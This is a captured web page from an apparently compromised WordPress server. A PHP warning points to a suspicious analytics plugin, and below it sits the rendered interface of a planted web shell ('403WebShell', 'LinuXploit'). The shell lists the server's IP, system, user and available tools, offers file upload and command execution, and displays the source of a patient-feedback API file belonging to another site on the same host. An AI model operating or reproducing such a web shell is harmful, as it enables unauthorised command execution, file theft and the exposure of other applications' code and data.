Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/var/www/patientapps_beta/api/.api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/patientapps_beta/api/.api/feedback.php
<?php
	
// get params
	$postdata = trim(file_get_contents('php://input'));
	$postdata = json_decode($postdata, TRUE);

// save in database
// no somewhat yes
//
	switch($postdata['satisfied']) {
		case 'no':
			$proc = 1;
			break;
		case 'somewhat':
			$proc = 2;
			break;
		case 'yes':
			$proc = 3;
			break;
		default:
			$proc = NULL;
	}

	switch($postdata['helpful']) {
		case 'no':
			$app = 1;
			break;
		case 'somewhat':
			$app = 2;
			break;
		case 'yes':
			$app = 3;
			break;
		default:
			$proc = NULL;
			$app = 0;
			break;
	}
	
	$postdata['feedback'] = substr(trim($postdata['feedback']), 0, 32768);
	$hash = isset($postdata['hash']) ? $postdata['hash'] : '';

	$record = [
		'__table' => 'feedback',
		'__existing' => 0,
		'fb_app' => $postdata['source'],
		'fb_hash' => $hash,
		'fb_timestamp' => time(),
		'fb_rate_proc' => $proc,
		'fb_rate_app' => $app,
		'fb_comment' => $postdata['feedback'] == '' ? NULL : $postdata['feedback'],
	];
	if (isset($postdata['uuid'])) {		// react version
		$record['fb_uuid'] = trim($postdata['uuid']);
		$record['fb_os'] = trim($postdata['os']);
	}
	$db->SaveRecord($record);

// return OK.
	$result = [
		'status' => 'ok',
//		'q' => $db->lastsql,
//		'e' => $db->error,
	];

	header('Content-type: application/json');
	echo json_encode($result);

/*
CREATE TABLE IF NOT EXISTS `feedback` (
  `fb_id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `fb_app` varchar(32) NULL,
  `fb_hash` varchar(40) NULL,
  `fb_uuid` varchar(40) NULL,
  `fb_timestamp` int(11) unsigned NOT NULL,
  `fb_rate_proc` int(2) null DEFAULT NULL,
  `fb_rate_app` int(2) null DEFAULT NULL,
  `fb_comment` mediumtext null default null,
  PRIMARY KEY (`fb_id`),
  KEY `fb_timestamp` (`fb_timestamp`),
  KEY `fb_app` (`fb_app`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 AUTO_INCREMENT=1 ;

*/

Youez - 2016 - github.com/yon3zu
LinuXploit